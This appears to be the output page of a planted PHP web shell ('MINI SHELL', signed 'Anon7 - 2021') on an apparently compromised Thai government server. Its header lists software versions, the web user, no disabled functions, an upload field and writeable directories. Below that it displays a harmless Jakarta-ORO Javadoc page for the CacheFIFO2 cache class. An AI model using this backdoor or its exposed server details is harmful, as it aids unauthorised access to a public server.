MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /usr/share/javadoc/oro-2.0.8/org/apache/oro/util/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/javadoc/oro-2.0.8/org/apache/oro/util/CacheFIFO2.html
<?xml version="1.0" encoding="US-ASCII"?>
<!DOCTYPE html PUBLIC "-//gnu.org///DTD XHTML 1.1 plus Target 1.0//EN" "../../../../resources/xhtml11-target10.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>CacheFIFO2 (Jakarta-ORO 2.0.8 API)</title><script src="../../../../resources/gjdoc.js" type="text/javascript"><!-- this comment required for konqueror 3.2.2 --></script><meta http-equiv="Content-Type" content="text/html; charset=US-ASCII"/><meta name="generator" content="GNU Gjdoc Standard Doclet"/><meta name="keywords" content="org.apache.oro.util.CacheFIFO2 class"/><meta name="keywords" content="getElement()"/><meta name="keywords" content="addElement()"/><link rel="stylesheet" type="text/css" href="../../../../resources/gjdochtml-clean-layout.css" title="GNU Clean"/><link rel="stylesheet" type="text/css" href="../../../../resources/gjdochtml-clean-color1.css" title="GNU Clean"/></head><body class="content class" onload="if(parent.contentPageLoaded)parent.contentPageLoaded(document.title)"><table class="navbar div top"><tr><td class="navbar div top"><div class="navbar div top"><span class="navbar item enabled"><a href="../../../../overview-summary.html">Overview</a></span> <span class="navbar item enabled"><a href="package-summary.html">Package</a></span> <span class="navbar item enabled"><a href="tree.html">Tree</a></span> <span class="navbar item enabled"><a href="../../../../alphaindex.html">Index</a></span> <span class="navbar item enabled"><a href="../../../../deprecated.html">Deprecated</a></span> <span class="navbar item enabled"><a href="../../../../about.html">About</a></span></div></td><td class="header" rowspan="2"><a href='http://jakarta.apache.org/oro/' target=_top><img src='{@docroot}/../images/logoSmall.gif' alt='Jakarta ORO' width=48 height=47 align=center border=0 hspace=1 vspace=1></a></td></tr><tr><td class="navi"><a href="../../../../org/apache/oro/util/CacheFIFO.html">Prev Class</a> | <a href="../../../../org/apache/oro/util/CacheLRU.html">Next Class</a></td><td class="navi"><a href="../../../../index.html" title="Show in a frameset" target="_top">Frames</a> | <a href="CacheFIFO2.html" title="Show without frames" target="_top">No Frames</a> </td></tr><tr><td class="navi">Summary: Nested | Field | <a href="#summary-methods">Method</a> | <a href="#summary-constructors">Constr</a></td><td class="navi">Detail: Nested | Field | <a href="#detail-methods">Method</a> | <a href="#detail-constructors">Constr</a></td></tr></table><div class="class title outer"><h3 class="class title-package">org.apache.oro.util</h3><h1 class="class title-class">Class CacheFIFO2</h1></div><div class="class inheritance-tree"><ul class="inheritance 0"><li class="inheritance 0"><code>java.lang.Object</code></li><li><ul class="inheritance 1"><li class="inheritance 1"><code><a href="../../../../org/apache/oro/util/GenericCache.html">org.apache.oro.util.GenericCache</a></code></li><li><ul class="inheritance 2"><li class="inheritance 2"><code>org.apache.oro.util.CacheFIFO2</code></li><li></li></ul></li></ul></li></ul></div><dl class="class knownimplementing"><dt class="header"><b>Implemented Interfaces:</b></dt><dd class="item"><a href="../../../../org/apache/oro/util/Cache.html" title="Interface in org.apache.oro.util">Cache</a>, java.io.Serializable</dd></dl><hr/><div class="class synopsis outer"><div class="class synopsis declaration"><code>public final class <b class="class synopsis name">CacheFIFO2</b></code></div><div class="class synopsis superclass"><code>extends <a href="../../../../org/apache/oro/util/GenericCache.html" title="Class in org.apache.oro.util">GenericCache</a></code></div></div><hr/><div class="class description"> This class is a GenericCache subclass implementing a second
 chance FIFO (First In First Out) cache replacement policy.  In other
 words, values are added to the cache until the cache becomes full.
 Once the cache is full, when a new value is added to the cache, it 
 replaces the first of the current values in the cache to have been
 added, unless that value has been used recently (generally
 between the last cache replacement and now).
 If the value to be replaced has been used, it is given
 a second chance, and the next value in the cache is tested for
 replacement in the same manner.  If all the values are given a
 second chance, then the original pattern selected for replacement is
 replaced.
</div><div class="taglet"><dl class="tag list"></dl><dt class="tag section header"><b>Version:</b></dt><dd>2.0.8</dd></dl></div><div class="taglet"><dl class="tag list"><dt class="tag section header"><b>Since:</b></dt><dd>1.0</dd></dl></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"><dl class="tag list"><dt class="tag section header"><b>See Also:</b></dt><dd><a href="../../../../org/apache/oro/util/GenericCache.html"><code>GenericCache</code></a>, <a href="../../../../serialized-form.html#org.apache.oro.util.CacheFIFO2">Serialized Form</a></dd></dl></div><div class="taglet"></div><div class="taglet"></div><a name="summary-fields" id="summary-fields"/><dl class="table container"><dd><table class="class summary" border="1" width="100%"><tr class="table header"><td colspan="2"><h2 class="table header">Field Summary</h2></td></tr></table></dd></dl><dl class="table container"><dd><table class="class summary" border="1" width="100%"><tr class="table sub header"><td colspan="2"><h3 class="table sub header">Fields inherited from class org.apache.oro.util.<a href="../../../../org/apache/oro/util/GenericCache.html" title="Class in org.apache.oro.util">GenericCache</a></h3></td></tr><tr><td class="inherited"><a href="../../../../org/apache/oro/util/GenericCache.html#DEFAULT_CAPACITY"><code class="member">DEFAULT_CAPACITY</code></a></td></tr></table></dd></dl><a name="summary-constructors" id="summary-constructors"/><dl class="table container"><dd><table class="class summary" border="1" width="100%"><tr class="table header"><td colspan="2"><h2 class="table header">Constructor Summary</h2></td></tr><tr><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#CacheFIFO2()">CacheFIFO2</a>()</code></dt><dd class="description"> Same as:
 <blockquote><pre>
 CacheFIFO2(GenericCache.DEFAULT_CAPACITY);
 </pre></blockquote>
</dd></dl></td></tr><tr><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#CacheFIFO2(int)">CacheFIFO2</a>(int&nbsp;capacity)</code></dt><dd class="description"> Creates a CacheFIFO2 instance with a given cache capacity.</dd></dl></td></tr></table></dd></dl><a name="summary-methods" id="summary-methods"/><dl class="table container"><dd><table class="class summary" border="1" width="100%"><tr class="table header"><td colspan="2"><h2 class="table header">Method Summary</h2></td></tr><tr><td class="left" valign="top"><code class="synopsis"> void</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#addElement(Object,Object)">addElement</a>(Object&nbsp;key, Object&nbsp;value)</code></dt><dd class="description"> Adds a value to the cache.</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis"> Object</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#getElement(Object)">getElement</a>(Object&nbsp;key)</code></dt></dl></td></tr></table></dd></dl><dl class="table container"><dd><table class="class summary" border="1" width="100%"><tr class="table sub header"><td colspan="2"><h3 class="table sub header">Methods inherited from class org.apache.oro.util.<a href="../../../../org/apache/oro/util/GenericCache.html" title="Class in org.apache.oro.util">GenericCache</a></h3></td></tr><tr><td class="inherited"><a href="../../../../org/apache/oro/util/GenericCache.html#addElement(Object,Object)" title="addElement(Object,Object)"><code class="member">addElement</code></a>, <a href="../../../../org/apache/oro/util/GenericCache.html#capacity()" title="capacity()"><code class="member">capacity</code></a>, <a href="../../../../org/apache/oro/util/GenericCache.html#getElement(Object)" title="getElement(Object)"><code class="member">getElement</code></a>, <a href="../../../../org/apache/oro/util/GenericCache.html#isFull()" title="isFull()"><code class="member">isFull</code></a>, <a href="../../../../org/apache/oro/util/GenericCache.html#keys()" title="keys()"><code class="member">keys</code></a>, <a href="../../../../org/apache/oro/util/GenericCache.html#size()" title="size()"><code class="member">size</code></a></td></tr></table></dd></dl><a name="detail-constructors" id="detail-constructors"/><h2 class="section header">Constructor Details</h2><div class="section"><a name="CacheFIFO2()" id="CacheFIFO2()"/><div class="member detail outer"><h3 class="member detail name">CacheFIFO2</h3><pre class="member detail synopsis">public CacheFIFO2()</pre><blockquote class="member detail name"><div class="member detail description"> Same as:
 <blockquote><pre>
 CacheFIFO2(GenericCache.DEFAULT_CAPACITY);
 </pre></blockquote>
</div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="CacheFIFO2(int)" id="CacheFIFO2(int)"/><div class="member detail outer"><h3 class="member detail name">CacheFIFO2</h3><pre class="member detail synopsis">public CacheFIFO2(int capacity)</pre><blockquote class="member detail name"><div class="member detail description"> Creates a CacheFIFO2 instance with a given cache capacity.
 <p/>
</div><div class="parameter"><dl><dt class="header"><b>Parameters:</b></dt><dd class="item"><code class="name">capacity</code><span class="separator"> - </span><span class="description">The capacity of the cache.</span></dd></dl></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div></div><a name="detail-methods" id="detail-methods"/><h2 class="section header">Method Details</h2><div class="section"><a name="addElement(Object,Object)" id="addElement(Object,Object)"/><div class="member detail outer"><h3 class="member detail name">addElement</h3><pre class="member detail synopsis">public final void addElement(Object key,
                             Object value)</pre><blockquote class="member detail name"><div class="member detail description"> Adds a value to the cache.  If the cache is full, when a new value
 is added to the cache, it replaces the first of the current values
 in the cache to have been added (i.e., FIFO2).
 <p/>
</div><dl class="member detail specified by list"><dt class="member detail specified by header"><b>Specified by:</b></dt><dd class="member detail specified by item"><a href="../../../../org/apache/oro/util/Cache.html#addElement(Object,Object)">addElement</a> in interface <a href="../../../../org/apache/oro/util/Cache.html" title="Interface in org.apache.oro.util">Cache</a></dd></dl><dl class="member detail overridden list"><dt class="member detail overridden header"><b>Overrides:</b></dt><dd class="member detail overridden item"><a href="../../../../org/apache/oro/util/GenericCache.html#addElement(Object,Object)">addElement</a> in interface <a href="../../../../org/apache/oro/util/GenericCache.html" title="Class in org.apache.oro.util">GenericCache</a></dd></dl><div class="parameter"><dl><dt class="header"><b>Parameters:</b></dt><dd class="item"><code class="name">key</code><span class="separator"> - </span><span class="description">The key referencing the value added to the cache.</span></dd><dd class="item"><code class="name">value</code><span class="separator"> - </span><span class="description">The value to add to the cache.</span></dd></dl></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="getElement(Object)" id="getElement(Object)"/><div class="member detail outer"><h3 class="member detail name">getElement</h3><pre class="member detail synopsis">public Object getElement(Object key)</pre><blockquote class="member detail name"><div class="member detail description"></div><dl class="member detail specified by list"><dt class="member detail specified by header"><b>Specified by:</b></dt><dd class="member detail specified by item"><a href="../../../../org/apache/oro/util/Cache.html#getElement(Object)">getElement</a> in interface <a href="../../../../org/apache/oro/util/Cache.html" title="Interface in org.apache.oro.util">Cache</a></dd></dl><dl class="member detail overridden list"><dt class="member detail overridden header"><b>Overrides:</b></dt><dd class="member detail overridden item"><a href="../../../../org/apache/oro/util/GenericCache.html#getElement(Object)">getElement</a> in interface <a href="../../../../org/apache/oro/util/GenericCache.html" title="Class in org.apache.oro.util">GenericCache</a></dd></dl><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div></div><p class="navbar bottom spacer"> </p><table class="navbar div bottom"><tr><td><div class="navbar div top"><span class="navbar item enabled"><a href="../../../../overview-summary.html">Overview</a></span> <span class="navbar item enabled"><a href="package-summary.html">Package</a></span> <span class="navbar item enabled"><a href="tree.html">Tree</a></span> <span class="navbar item enabled"><a href="../../../../alphaindex.html">Index</a></span> <span class="navbar item enabled"><a href="../../../../deprecated.html">Deprecated</a></span> <span class="navbar item enabled"><a href="../../../../about.html">About</a></span></div></td></tr></table><hr/>Copyright B) 2000-2003 Apache Software Foundation. All Rights Reserved.</body></html>

Anon7 - 2021